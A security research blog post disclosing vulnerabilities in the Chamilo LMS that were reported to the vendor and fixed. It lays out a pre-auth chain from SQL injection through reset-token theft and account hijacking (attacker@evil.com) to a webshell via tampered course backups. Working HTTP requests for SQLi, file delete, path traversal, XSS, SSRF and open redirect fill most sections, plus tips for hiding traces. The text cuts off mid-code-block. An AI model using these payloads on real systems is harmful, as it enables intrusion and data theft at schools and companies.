{"slug": "chamilo-lms-it-s-raining-0days-hallelujah-it-s-raining-0days", "title": "Chamilo LMS... It's raining 0days, hallelujah, it's raining 0days", "summary": "Security researchers Mathieu Farrell and Sean Matthews identified multiple previously unknown vulnerabilities in the latest version of the open source Chamilo Learning Management System, including an unauthenticated SQL injection tracked as CVE-2026-61600 that chains to full pre-authentication remote code execution. The SQL injection was found through manual code review in main/inc/ajax/model.ajax.php and main/work/pending.php, where the course_id, work_parent_ids and groupOp values were concatenated directly into SQL WHERE clauses, and the researchers reported the flaws to the vendor, which fixed them and obtained CVE identifiers. Exploiting the SQL injection without authentication requires only a valid cidReq course code such as cidReq=TESTCOURSE, which can be derived from course titles listed on the home page or /main/auth/courses.php?action=display_courses.", "body_md": "Authors\n\n[Mathieu Farrell](./author/mathieu-farrell.html),\n\n[Sean Matthews](./author/sean-matthews.html)\n\nCategory\n\n[Vulnerability](./category/vulnerability.html)\n\nTags\n\n[2026](./tag/2026.html),\n\n[pentest](./tag/pentest.html),\n\n[Chamilo](./tag/chamilo.html),\n\n[PHP](./tag/php.html),\n\n[vulnerability](./tag/vulnerability.html)\n\n[Chamilo](https://chamilo.org) is an open source Learning Management System (LMS) widely deployed in schools and enterprises around the world.  In this blogpost we explain how we were able to identify multiple vulnerabilities including a full unauthenticated Remote Code Execution chain in the latest version.\n\n# Introduction\n\nIt is commonly observed that projects carried out outside of working hours begin with the same optimistic thought: \"I will just take a quick look\". Driven by skepticism toward automated security tools and AI-assisted code review, or, by a desire to manually validate whether they would have caught certain vulnerabilities. Sometimes, these audits confirm that traditional approaches remain effective, and sometimes, gaps are revealed that show that we do indeed require the usage of AI.\n\nThis was the case with [Chamilo](https://github.com/chamilo/chamilo-lms), a\nwidely deployed open source Learning Management System (LMS) that we observe\nbeing used by schools and enterprises around the world. What initially began as\na fun security review quickly evolved into a much deeper exploration of the\napplication's attack surface. As more components were audited, vulnerabilities\nwere continuously surfaced, each revealing new attack primitives, and, in some\ncases, entirely different classes of security issues.\n\nBy the end of the research, previously unknown vulnerabilities (a.k.a. *0days*) had been identified, reported to the vendor, fixed, and the following CVE identifiers were assigned.\n\nThroughout this post, we will be diving into some vulnerabilities. More importantly, we will demonstrate how seemingly independent issues can be chained together to achieve a full Pre-Auth Remote Code Execution (RCE), illustrating how different vulnerabilities can collectively lead to complete system compromise.\n\n# SQL Injection without authentication (CVE-2026-61600)\n\nThis vulnerability was identified without the help of an LLM.\n\nThe first vulnerability in the exploit chain is an unauthenticated SQL injection. This vulnerability was identified through manual review demonstrating that traditional code audit remains effective.\n\nThe vulnerability was spotted in main/inc/ajax/model.ajax.php and main/work/pending.php.\n\nThe following values were observed as being concatenated directly into SQL\n`WHERE` clauses.\n\n- `course_id`\n- `work_parent_ids`\n- `groupOp` (field from the JSON parameter`filters` )\n\nThe action `get_work_student` which is reachable without authentication, handles\nthe JSON parameter `filters`. The value `$filters->groupOp` was concatenated\ndirectly into `$whereCondition`, and the resulting clause was passed to\n`getWorkListStudent()`.\n\n💡 __Only information necessary to run the exploit:__\n\nA valid `cidReq` (e.g., `cidReq=TESTCOURSE`) is needed to exploit this bug\nwithout authentication. Courses can be listed through the home page or\n/main/auth/courses.php?action=display_courses.\nThe course's code `cidReq` can be derived from the title of the course.\n\n__Request (HTTP):__\n\n```\nGET /main/inc/ajax/model.ajax.php?a=get_work_student&_search=true&filters={%22groupOp%22:%22%20OR%20IF(1=(SELECT+user_id+FROM+user+WHERE+username%3d'admin'),SLEEP(5),0)%20OR%20%22,%22rules%22:[{%22field%22:1,%22op%22:%22eq%22,%22data%22:2},{%22field%22:%222%22,%22op%22:%22eq%22,%22data%22:%221%22}]}&cidReq=TESTCOURSE HTTP/1.1\nHost: 127.0.0.1\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Length: 32\nContent-Type: application/json;charset=utf-8\n\n{\"page\":0,\"total\":0,\"records\":0}\n```\n\nFigure 1 - First example of unauthenticated SQLi exploited using a Time-Based attack (part 1/2).\n\nFigure 2 - First example of unauthenticated SQLi exploited using a Time-Based attack (part 2/2).\n\nFigure 3 - Second example of unauthenticated SQLi exploited using a Time-Based attack (part 1/2).\n\nFigure 4 - Second example of unauthenticated SQLi exploited using a Time-Based attack (part 2/2).\n\nFigure 5 - Third example of unauthenticated SQLi exploited using a Time-Based attack.\n\nAfter a password reset request is performed, it is possible to use the SQLi\nto retrieve the reset token stored in database. The request below resets the\n`admin` user's password.\n\n__Request (HTTP):__\n\n```\nPOST /main/auth/lostPassword.php HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 38\nReferer: http://127.0.0.1/main/auth/lostPassword.php\n\nuser=admin&submit=&_qf__lost_password=\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 302 Found\n...\nLocation: http://127.0.0.1/\nContent-Length: 0\nContent-Type: text/html; charset=UTF-8\n```\n\nOnce the reset token has been retrieved via SQL Injection, it can be used to\nreset the `admin` user's password with the following request.\n\n__Request (HTTP):__\n\n```\nPOST /main/auth/reset.php?token=0ec87515cc65d60c36cf5c5b81d284f2 HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 98\n\npass1=admin1234567!&pass2=admin1234567!&submit=&_qf__reset=&token=0ec87515cc65d60c36cf5c5b81d284f2\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 302 Found\n...\nLocation: http://127.0.0.1/\nContent-Length: 0\nContent-Type: text/html; charset=UTF-8\n```\n\nIn the full exploitation chain, the SQL injection vulnerability is also used to back up the database records associated with the administrator account before performing the email change and password reset. After gaining access to the admin account via email hijacking, the attacker can restore the original database records, reverting the email and hashed password. This approach minimizes traces of the attack and allows the administrator to continue using their original credentials, reducing the likelihood of detection while the attacker maintains backdoor access to the system.\n\nThese findings (identified through manual code audit) along with the following\nresearch article ([Blind SQL Injection Attacks Optimization](http://blog.quarkslab.com/resources/2026-09-01_chamilo-lms/r0.pdf)),\nwere provided to an LLM to develop a working Proof-Of-Concept.\n\n# Email update to password reset without authentication\n\nThis vulnerability was identified with the help of an LLM.\n\nThe `update_users` action in main/inc/ajax/user_manager.ajax.php\nis designed to accept a JSON array of users and forward the submitted values to\n`UserManager::update_user()` without authentication enforcement.\n\nBecause the request is fully controlled by the attacker for both the `user_id`\nparameter and user fields such as `email`, an unauthenticated attacker can send\na direct request to the AJAX endpoint and modify the email address of any user,\nincluding privileged accounts like `admin`.\n\nThis vulnerability becomes critical when combined with the password reset feature because, by changing a user's email address, an attacker's controlled email address can be used to hijack an account by requesting a password reset and receiving the reset token.\n\nFigure 6 - Compromise flow of a user's email.\n\nThe request enters through main/inc/ajax/user_manager.ajax.php.\n\nFile: main/inc/ajax/user_manager.ajax.php\n\n``` php\nrequire_once __DIR__.'/../global.inc.php';\n\n$request = HttpRequest::createFromGlobals();\n$isRequestByAjax = $request->isXmlHttpRequest();\n\n$action = $_REQUEST['a'];\n\nswitch ($action) {\n    ...\n```\n\nThe code dispatches directly on the value of `$_REQUEST['a']`.\n\n``` php\n...\ncase 'update_users':\n    $usersData = json_decode($_POST['users'], true);\n    $updatedCount = 0;\n\n    foreach ($usersData as $userData) {\n        if (empty($userData['user_id'])) {\n            continue;\n        }\n\n        $userId = (int) $userData['user_id'];\n        $currentUserData = api_get_user_info($userId);\n\n        if (!$currentUserData) {\n            continue;\n        }\n        ...\n```\n\n1. Parses the JSON from `$_POST['users']` .\n2. Extracts `user_id` .\n3. Casts it to integer.\n4. Loads the current data for user (`1` for administrator).\n5. Continues only if that user exists.\n\nThen the code builds `$updatedData` by mixing submitted values with the current\ndatabase values using a fallback pattern.\n\n``` php\n$updatedData = [\n    'firstname' => $userData['firstname'] ?? $currentUserData['firstname'],\n    'lastname' => $userData['lastname'] ?? $currentUserData['lastname'],\n    'email' => $userData['email'] ?? $currentUserData['email'],\n    'phone' => $userData['phone'] ?? $currentUserData['phone'],\n    'official_code' => $userData['official_code'] ?? $currentUserData['official_code'],\n    'status' => isset($userData['status']) ? (int) $userData['status'] : $currentUserData['status'],\n    'active' => isset($userData['active']) ? (int) $userData['active'] : $currentUserData['active'],\n];\n```\n\nIf the payload only contains `{\"user_id\":1,\"email\":\"attacker@evil.com\"}`, then,\nonly the email is changed to the attacker's address. All other fields are\npreserved from the original user record, making the modification appear as a\nlegitimate account update. This means the email field can be selectively\nmodified without any authentication check, allowing complete account hijacking\nwhen paired with the password reset feature.\n\nThe AJAX action then forwards the values into `UserManager::update_user()`.\n\n```\nUserManager::update_user(\n    $userId,\n    $updatedData['firstname'],\n    $updatedData['lastname'],\n    $currentUserData['username'],\n    $updatedData['password'] ?? null,\n    $currentUserData['auth_source'],\n    $updatedData['email'],\n    $updatedData['status'],\n    $updatedData['official_code'],\n    $updatedData['phone'],\n    $currentUserData['picture_uri'],\n    null,\n    $updatedData['active'],\n    null,\n    null,\n    null,\n    $currentUserData['language']\n);\n```\n\nFor user `1`, this means the current `username` (and other values) are reused,\nwhile the submitted email is passed through as the new target value.\n\nInside main/inc/lib/usermanager.lib.php,\n`update_user()` loads the Doctrine user entity and applies the new field values.\n\n``` php\n$userManager = self::getManager();\n/** @var User $user */\n$user = self::getRepository()->find($user_id);\n\nif (empty($user)) {\n    return false;\n}\n```\n\nThen:\n\n``` php\n$user\n    ->setLastname($lastname)\n    ->setFirstname($firstname)\n    ->setUsername($username)\n    ->setStatus($status)\n    ->setAuthSource($auth_source)\n    ->setLanguage($language)\n    ->setEmail($email)\n    ->setOfficialCode($official_code)\n    ->setPhone($phone)\n    ->setAddress($address)\n    ->setPictureUri($picture_uri)\n    ->setExpirationDate($expiration_date)\n    ->setActive($active)\n    ->setEnabled($active)\n    ->setHrDeptId($hr_dept_id)\n;\n```\n\nThe key line is:\n\n``` php\n->setEmail($email)\n```\n\nFinally, the entity is persisted.\n\n``` php\n$userManager->updateUser($user, true);\n```\n\n# Unserialize to Arbitrary File Write to RCE as admin (CVE-2026-70647)\n\nThis vulnerability was identified without the help of an LLM.\n\nChamilo's course backup import feature, unsafely handle attacker-controlled\nserialized data from course_info.dat. During\nbackup creation, `CourseArchiver::createBackup()` writes a base64-encoded\nserialized `Course` object to this file, which stores course files using the\npaths found within the serialized resource objects.\n\nDuring import, `CourseArchiver::readCourse()` extracts a user-supplied ZIP\narchive, reads course_info.dat, base64-decodes\nit, and deserializes it through `UnserializeApi::unserialize('course', ...)`.\nThis process is intended to restore the course structure and all associated\ndocuments to their original locations within the application directory.\n\nThe deserialization allowlist in `UnserializeApi` is designed to include only\nlegitimate classes needed for course restoration, specifically `Course` and\n`Document`. An attacker does not need a PHP Object Injection (POP) chain since\nproperties on valid serialized objects can be directly manipulated. A `Document`\nresource's `path` property can be modified from a legitimate value like\ndocument/payload.txt to an arbitrary path such as\ncoiffeur.php or any location within the web root.\nWhen the manipulated backup is imported, Chamilo trusts the modified `path`\nvalues and uses them during file restoration, writing files to malicious\nlocations. This Arbitrary File Write can be leveraged to place a PHP webshell\nwithin the application directory, leading to Remote Code Execution.\n\nFigure 7 - Exploiting the course import feature.\n\n# Final exploit\n\n## Boolean-Based Blind SQL Injection (CVE-2026-61600)\n\nThe proof of concept starts by exploiting the SQL injections via a Boolean-Based Blind attack. For each byte we want to recover, eight separate requests are sent testing each bit position until the entire byte value is reconstructed. Slowly, the entire admin user row from the database is dumped.\n\n## Extracting the password reset token\n\nAmong the data leaked through the SQLi vulnerability is the `confirmation_token`\nfield. A second extraction pass is performed targeting just this column,\nrecovering its exact value. By stealing it through SQL injection, the email\nverification step can be bypassed entirely and a valid reset credential is\ngained without needing access to the admin's mailbox.\n\n## Email hijacking (only if needed)\n\nThe `update_users` AJAX action allows an unauthenticated attacker to modify user\nattributes of any existing account within the system. By exploiting this\nvulnerability, arbitrary fields such as email addresses or phone numbers can be\nselectively updated for any user record, including privileged administrative\naccounts.\n\nThis allows complete account takeover without any authentication requirement or notification to the original account holder, making it a powerful component of our chain.\n\n## Resetting the admin's password\n\nOnce the confirmation token has been stolen, a request is made to Chamilo's password reset endpoint and a new password is defined. Chamilo validates the token that is provided (which matches the database), sees it as legitimate, and changes the admin account password to our chosen value.\n\nFrom that moment on, we can log into the admin account with this new password. The original admin still has no idea their account has been compromised because their email was never involved.\n\n## Logging in and creating a malicious course\n\nUsing the new password, we can log into Chamilo as the legitimate administrator. Now a dummy course can be created with a random name and a malicious PHP file (likely a webshell) is immediately uploaded into the course's document folder (with an extension accepted by Chamilo). This file appears harmless as it is just sitting in the course like any normal document.\n\nThen, the course backup feature is triggered, which creates a ZIP archive\ncontaining all the course contents, including this malicious file, along with\nserialized metadata about the course structure stored in a file called\n`course_info.dat`.\n\n## Modifying backup metadata (CVE-2026-70647)\n\nBefore uploading the backup back to the server, it is modified locally. The\n`course_info.dat` file inside the backup is base64-encoded PHP serialized data\nthat describes all documents and their paths. This ZIP is extracted, the data is\ndecoded and deserialized, the reference to the uploaded malicious file is found,\nand it is changed to point to a different filename (`coiffeur.php`), which\nplaces it directly in the web accessible directory where webshells can execute.\nThe data is then re-serialized, re-encoded to base64, repackaged into the ZIP,\nand prepared for uploading to the server.\n\n## Importing the malicious backup and achieving RCE (CVE-2026-70647)\n\nLegitimate course import functionality is used to upload the modified backup\nfile. When Chamilo processes the import, the `course_info.dat` metadata is\ndeserialized using PHP's `unserialize()` function. Because the metadata has been\ntampered with to rename the malicious PHP file to `coiffeur.php` and place it in\nthe course root, the deserialization process writes the file to its final\nlocation in a web accessible directory. Once the import is completed, the\nwebshell can be accessed at `/app/courses/{course_code}/coiffeur.php` and\narbitrary PHP code can be executed on the server, achieving complete Remote Code\nExecution with the privileges of the web server.\n\n## POC\n\nFile: [exploit.py](http://blog.quarkslab.com/resources/2026-09-01_chamilo-lms/exploit/exploit.py)\n\n``` bash\n#!/usr/bin/env python3\n\n#                         /\\  .-----.  /\\\n#                         #\\\\/       \\#\\\\\n#                        |/\\|    0    |/\\|\n#                         #\\\\\\;-----;#/\\\\\n#                        #  \\/   .   \\/  \\\\\n#                      (| ,-_|coiffeur|_-, |)\n#                         #`__\\.-.-./__`\\\\\n#                        # /.-(     )-.\\ \\\\\n#                      (\\ |)   '   '   (| /)\n#                       ` (|           |) `\n#                         \\)           (/\n# Title:     Chamilo-LMS 1.11.36 0days full chain exploit.\n# Author:    Mathieu Farrell aka @Coiffeur0x90\n# Date:      2026-04-01\n# Summary:   Exploit chains a pre-auth SQLi & ATO if needed then an unserialize\n#            to Arbitrary File Write to write a Webshell (RCE).\n# Details:   Dump the admin row, try the reset-token path, fall back to account\n#            takeover when needed, the create, rewrite, and re-import a course\n#            backup to drop \"coiffeur.php\".\n\n...\n```\n\nThe exploit uses the file [payload.txt](http://blog.quarkslab.com/resources/2026-09-01_chamilo-lms/exploit/payload.txt),\nwhich is ultimately renamed to coiffeur.php and\nworks as a web shell.\n\n# Conclusion\n\nAI is an extremely powerful tool for offensive security research, but in my experience, humans still outperform AI when it comes to creative ideas. Rather than replacing the researcher, AI should be seen as a force multiplier that can accelerate analysis, explore hypotheses, process large amounts of information, and help researchers investigate areas that might otherwise take much more time.\n\nThe real game changer comes from combining human creativity, intuition, and experience with the scale and power of AI. Humans provide the ideas and direction, while AI helps turn those ideas into deeper and faster research.\n\nThis combination has the potential to fundamentally change the way vulnerabilities are discovered and push offensive security research far beyond what either humans or AI could achieve alone.\n\n# Appendix\n\n## Other vulnerabilities identified\n\n### Arbitrary File Delete in plugin/cleandeletedfiles/src/ajax.php as admin (CVE-2026-61578)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: plugin/cleandeletedfiles/src/ajax.php\n\n``` php\n<?php\n\n...\n\n$plugin = CleanDeletedFilesPlugin::create();\n$action = isset($_REQUEST['a']) ? $_REQUEST['a'] : null;\n\nswitch ($action) {\n    case 'delete-file':\n        $path = isset($_REQUEST['path']) ? $_REQUEST['path'] : null;\n        if (empty($path)) {\n            echo json_encode([\"status\" => \"false\", \"message\" => $plugin->get_lang('ErrorEmptyPath')]);\n            exit;\n        }\n\n        if (unlink($path)) {\n            Display::addFlash($plugin->get_lang(\"DeletedSuccess\"), 'success');\n            echo json_encode([\"status\" => \"true\"]);\n        } else {\n            echo json_encode([\"status\" => \"false\", \"message\" => $plugin->get_lang('ErrorDeleteFile')]);\n        }\n        break;\n    case 'delete-files-list':\n        $list = isset($_REQUEST['list']) ? $_REQUEST['list'] : [];\n        if (empty($list)) {\n            echo json_encode([\"status\" => \"false\", \"message\" => $plugin->get_lang('ErrorEmptyPath')]);\n            exit;\n        }\n\n        foreach ($list as $value) {\n            if (empty($value)) {\n                continue;\n            }\n            unlink($value);\n        }\n\n        Display::addFlash($plugin->get_lang(\"DeletedSuccess\"), 'success');\n        echo json_encode([\"status\" => \"true\"]);\n        break;\n}\n```\n\n__Request (HTTP):__\n\n```\nGET /plugin/cleandeletedfiles/src/ajax.php?a=delete-file&path=/tmp/TEST HTTP/1.1\nHost: 127.0.0.1\nCookie: ch_sid=dc7360e7ec809c26ed7aee5c45618cae\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Length: 17\nContent-Type: text/html; charset=UTF-8\n\n{\"status\":\"true\"}\n```\n\n### Arbitrary File Write to Stored XSS in main/inc/ajax/record_audio_rtc.ajax.php as student (CVE-2026-70648)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/inc/ajax/record_audio_rtc.ajax.php\n\n```\n<?php\n\n/* For licensing terms, see /license.txt */\n\nuse ChamiloSession as Session;\n\nrequire_once __DIR__.'/../global.inc.php';\n\napi_block_anonymous_users();\n\n$courseInfo = api_get_course_info();\n/** @var string $tool document or exercise */\n$tool = isset($_REQUEST['tool']) ? $_REQUEST['tool'] : '';\n$type = isset($_REQUEST['type']) ? $_REQUEST['type'] : 'document'; // can be document or message\n\nif ($type === 'document') {\n    api_protect_course_script();\n}\n\n$userId = api_get_user_id();\n\nif (!isset($_FILES['audio_blob'], $_REQUEST['audio_dir'])) {\n    if ($tool === 'exercise') {\n        header('Content-Type: application/json');\n        echo json_encode([\n            'error' => true,\n            'message' => Display::return_message(get_lang('UploadError'), 'error'),\n        ]);\n\n        Display::cleanFlashMessages();\n        exit;\n    }\n\n    Display::addFlash(Display::return_message(get_lang('UploadError'), 'error'));\n    exit;\n}\n\n$file = isset($_FILES['audio_blob']) ? $_FILES['audio_blob'] : [];\n$file['file'] = $file;\n$audioDir = Security::remove_XSS($_REQUEST['audio_dir']);\n\nswitch ($type) {\n    case 'document':\n        $dirBaseDocuments = api_get_path(SYS_COURSE_PATH).$courseInfo['path'].'/document';\n        $saveDir = $dirBaseDocuments.$audioDir;\n        if (!is_dir($saveDir)) {\n            mkdir($saveDir, api_get_permissions_for_new_directories(), true);\n        }\n\n        if (empty($audioDir)) {\n            $audioDir = '/';\n        }\n\n        $uploadedDocument = DocumentManager::upload_document(\n            $file,\n            $audioDir,\n            $file['name'],\n            null,\n            0,\n            'overwrite',\n            false,\n            in_array($tool, ['document', 'exercise']),\n            'file',\n            true,\n            api_get_user_id(),\n            $courseInfo,\n            api_get_session_id(),\n            api_get_group_id(),\n            'exercise' === $tool\n        );\n        $error = empty($uploadedDocument) || !is_array($uploadedDocument);\n\n        if (!$error) {\n            $newDocId = $uploadedDocument['id'];\n            $courseId = $uploadedDocument['c_id'];\n\n            /** @var learnpath $lp */\n            $lp = Session::read('oLP');\n            $lpItemId = isset($_REQUEST['lp_item_id']) && !empty($_REQUEST['lp_item_id']) ? $_REQUEST['lp_item_id'] : null;\n            if (!empty($lp) && empty($lpItemId)) {\n                $lp->set_modified_on();\n\n                $lpItem = new learnpathItem($lpItemId);\n                $lpItem->add_audio_from_documents($newDocId);\n            }\n\n            $data = DocumentManager::get_document_data_by_id($newDocId, $courseInfo['code']);\n\n            if ($tool === 'exercise') {\n                header('Content-Type: application/json');\n                echo json_encode([\n                    'error' => $error,\n                    'message' => Display::getFlashToString(),\n                    'fileUrl' => $data['document_url'],\n                ]);\n\n                Display::cleanFlashMessages();\n                exit;\n            }\n\n            echo $data['document_url'];\n        }\n\n        break;\n    case 'message':\n        Session::write('current_audio_id', $file['name']);\n        api_upload_file('audio_message', $file, api_get_user_id());\n\n        break;\n}\n```\n\n__Request (HTTP):__\n\n```\nPOST /main/inc/ajax/record_audio_rtc.ajax.php?cidReq=COURSE01 HTTP/1.1\nHost: 127.0.0.1\nContent-Type: multipart/form-data; boundary=----BOUNDARY\nContent-Length: 250\nCookie: ch_sid=dc7360e7ec809c26ed7aee5c45618cae\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"audio_blob\"; filename=\"POC.html\"\nContent-Type: audio/wav\n\n<html>\n<script>alert(1337)</script>\n</html>\n------BOUNDARY\nContent-Disposition: form-data; name=\"audio_dir\"\n\n------BOUNDARY--\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Length: 121\nContent-Type: text/html; charset=UTF-8\n\nhttp://127.0.0.1/main/document/document.php?id=4&cidReq=COURSE01&id=4&id_session=0&gidReq=0\n```\n\n### Path Traversal and Arbitrary .wav File Write in main/inc/ajax/record_audio_wami.ajax.php as student\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/inc/ajax/record_audio_wami.ajax.php\n\n```\n<?php\n\n...\n\nparse_str($_SERVER['QUERY_STRING'], $params);\n\nif (isset($params['waminame']) && isset($params['wamidir']) && isset($params['wamiuserid'])) {\n    $waminame = $params['waminame'];\n    $wamidir = $params['wamidir'];\n    $wamiuserid = $params['wamiuserid'];\n} else {\n    api_not_allowed();\n    exit();\n}\n\n...\n\n$waminame = Security::remove_XSS($waminame);\n$waminame = Database::escape_string($waminame);\n$waminame = api_replace_dangerous_char($waminame);\n$waminame = disable_dangerous_file($waminame);\n$wamidir = Security::remove_XSS($wamidir);\n$content = file_get_contents('php://input');\n\n...\n\n    case 'document':\n        $dirBaseDocuments = api_get_path(SYS_COURSE_PATH).$_course['path'].'/document';\n        $saveDir = $dirBaseDocuments.$wamidir;\n\n        if (!is_dir($saveDir)) {\n            DocumentManager::createDefaultAudioFolder($_course);\n        }\n\n        $waminame_to_save = $waminame;\n        $documentPath = $saveDir.'/'.$waminame_to_save;\n\n        $fh = fopen($documentPath, 'w') or exit(\"can't open file\");\n        fwrite($fh, $content);\n        fclose($fh);\n\n        ...\n\n...\n```\n\n__Request (HTTP):__\n\n```\nPOST /main/inc/ajax/record_audio_wami.ajax.php?cidReq=XXXX&type=document&waminame=IVOIRE.wav&wamidir=/../../../../../../../../../../../tmp&wamiuserid=1 HTTP/1.1\nHost: 127.0.0.1\nCookie: ch_sid=83ec05a275b7bd3bfcc026a66720a099\nContent-Length: 6\nContent-type: application/x-www-form-urlencoded\n\nIVOIRE\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Length: 0\nContent-Type: text/html; charset=UTF-8\n```\n\n### Unserialize to RCE via POP chain (post-auth)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/lp/aicc_hacp.php\n\n```\n<?php\n/* For licensing terms, see /license.txt */\n\nuse ChamiloSession as Session;\n\n...\n\n$debug = 0;\n\n// Flag to allow for anonymous user - needs to be set before global.inc.php.\n$use_anonymous = true;\n\n// Use session ID as provided by the request.\nif (!empty($_REQUEST['aicc_sid'])) {\n    session_id($_REQUEST['aicc_sid']);\n    if ($debug > 1) {\n        error_log('New LP - '.__FILE__.','.__LINE__.' - reusing session ID '.$_REQUEST['aicc_sid']);\n    }\n} elseif (!empty($_REQUEST['session_id'])) {\n    session_id($_REQUEST['session_id']);\n    if ($debug > 1) {\n        error_log('New LP - '.__FILE__.','.__LINE__.' - reusing session ID '.$_REQUEST['session_id']);\n    }\n}\n\n...\n\n// Is this needed? This is probabaly done in the header file.\n$file = Session::read('file');\n/** @var learnpath $oLP */\n$oLP = UnserializeApi::unserialize(\n    'not_allowed_classes',\n    Session::read('lpobject')\n);\n\n...\n```\n\nFile: main/inc/lib/UnserializeApi.php\n\n```\n<?php\n/* For licensing terms, see /license.txt */\n\n/**\n * Class UnserializeApi.\n */\nclass UnserializeApi\n{\n    /**\n     * Unserialize content using Brummann\\Polyfill\\Unserialize.\n     *\n     * @param string $type\n     * @param string $serialized\n     *\n     * @return mixed\n     */\n    public static function unserialize($type, $serialized, $ignoreErrors = false)\n    {\n        $allowedClasses = [];\n\n        switch ($type) {\n            case 'career':\n            case 'sequence_graph':\n                $allowedClasses = [\n                    ...\n                ];\n                break;\n            case 'course':\n                $allowedClasses = [\n                    ...\n                ];\n            // no break\n            case 'lp':\n                $allowedClasses = array_merge(\n                    $allowedClasses,\n                    [\n                        ...\n                    ]\n                );\n                break;\n            case 'not_allowed_classes':\n            default:\n                $allowedClasses = false;\n        }\n\n        if ($ignoreErrors) {\n            return @unserialize(\n                $serialized,\n                ['allowed_classes' => $allowedClasses]\n            );\n        }\n\n        return unserialize(\n            $serialized,\n            ['allowed_classes' => $allowedClasses]\n        );\n    }\n}\n```\n\n### SSRF as student (collision with [CVE-2026-31941](https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-q74c-mx8x-489h))\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/inc/ajax/social.ajax.php\n\n```\n...\n\n    case 'read_url_with_open_graph':\n        api_block_anonymous_users(false);\n\n        $url = $_POST['social_wall_new_msg_main'] ?? '';\n        $url = trim($url);\n        $html = '';\n        if (SocialManager::verifyUrl($url)) {\n            $html = Security::remove_XSS(\n                SocialManager::readContentWithOpenGraph($url)\n            );\n        }\n        echo $html;\n        break;\n\n...\n```\n\nFile: main/inc/lib/social.lib.php\n\n```\n...\n\n    /**\n     * verify if Url Exist - Using Curl.\n     */\n    public static function verifyUrl(string $uri): bool\n    {\n        $client = new Client();\n\n        try {\n            $response = $client->request('GET', $uri, [\n                'timeout' => 15,\n                'verify' => false,\n                'headers' => [\n                    'User-Agent' => $_SERVER['HTTP_USER_AGENT'],\n                ],\n            ]);\n\n            if (200 !== $response->getStatusCode()) {\n                return false;\n            }\n\n            return true;\n        } catch (Exception $e) {\n            return false;\n        }\n    }\n\n...\n```\n\n__Request (HTTP):__\n\n```\nPOST /main/inc/ajax/social.ajax.php?a=read_url_with_open_graph HTTP/1.1\nHost: 127.0.0.1\nCookie: ch_sid=f521b4cc2c9dc0cdebe6ed531286b56a\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 46\n\nsocial_wall_new_msg_main=https://www.google.fr\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Length: 318\nContent-Type: text/html; charset=UTF-8\n\n<div class=\"thumbnail social-thumbnail\"><div class=\"social-description\"><a target=\"_blank\" href=\"\" rel=\"noreferrer noopener\"></a><h5 class=\"social-title\"><a target=\"_blank\" href=\"\" rel=\"noreferrer noopener\"><b>Google</b></a></h5><a target=\"_blank\" href=\"\" rel=\"noreferrer noopener\"></a><p>WWW.GOOGLE.FR</p></div></div>\n```\n\n### iCal Open Redirect as student (CVE-2026-61602)\n\nThis vulnerability was identified without the help of an LLM.\n\nFile: main/calendar/ical_export.php\n\n``` php\n<?php\n\n...\n\nif (empty($_GET['id'])) {\n    api_not_allowed();\n}\n\n$id = explode('_', $_GET['id']);\n$type = $id[0];\n$id = $id[1];\n\n$agenda = new Agenda($type);\nif (isset($_GET['course_id'])) {\n    $course_info = api_get_course_info_by_id($_GET['course_id']);\n    if (!empty($course_info)) {\n        $agenda->set_course($course_info);\n    }\n}\n\n$event = $agenda->get_event($id);\n\nif (!empty($event)) {\n\n    ...\n\n    switch ($_GET['class']) {\n\n        ...\n\n        default:\n            header('location:'.Security::remove_XSS($_SERVER['HTTP_REFERER']));\n            exit();\n    }\n} else {\n    header('location:'.Security::remove_XSS($_SERVER['HTTP_REFERER']));\n    exit;\n}\n```\n\n__Request (HTTP):__\n\n```\nGET /main/calendar/ical_export.php?id=invalid HTTP/1.1\nHost: 127.0.0.1\nReferer: https://therealcoiffeur.com/\nCookie: ch_sid=f521b4cc2c9dc0cdebe6ed531286b56a\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 302 Found\n...\nlocation: https://therealcoiffeur.com/\nContent-Length: 0\nContent-Type: text/html; charset=UTF-8\n```\n\n### Multiple Reflected XSS in main/extra/myStudents.php as admin (CVE-2026-61601)\n\nThis vulnerability was identified without the help of an LLM.\n\n#### Via `$_GET['origin']`\n\nFile: main/extra/myStudents.php\n\n``` php\n<?php\n\n...\n\n$export = isset($_GET['export']) ? $_GET['export'] : false;\n$sessionId = isset($_GET['id_session']) ? intval($_GET['id_session']) : 0;\n$origin = isset($_GET['origin']) ? Security::remove_XSS($_GET['origin']) : '';\n$studentId = (int) $_GET['student'];\n$coachId = isset($_GET['id_coach']) ? (int) $_GET['id_coach'] : 0;\n\n...\n```\n\n__Request (HTTP):__\n\n```\nGET /main/extra/myStudents.php?student=1&origin=IVOIRE%22onfocus=%22alert(%27coiffeur%27)%22autofocus=enable%22 HTTP/1.1\nHost: 127.0.0.1\nCookie: ch_sid=f521b4cc2c9dc0cdebe6ed531286b56a\n```\n\n__Response (HTTP):__\n\n```\nHTTP/1.1 200 OK\n...\nContent-Type: text/html; charset=UTF-8\nContent-Length: 39704\n\n...\n\n<td width=\"10\"><a href=\"http://blog.quarkslab.com/main/extra/myStudents.php?student=1&details=true&course=TEST&origin=IVOIRE\"onfocus=\"alert('coiffeur')\"autofocus=enable\"&id_session=0#infosStudent\">\n                            <img src=\"http://127.0.0.1/main/img/icons/22/2rightarrow.png\" alt=\"Details\" title=\"Details\"  /></a></td>\n\n...\n```\n\n#### Via `$_GET['course']`\n\nFile: main/extra/myStudents.php\n\n``` 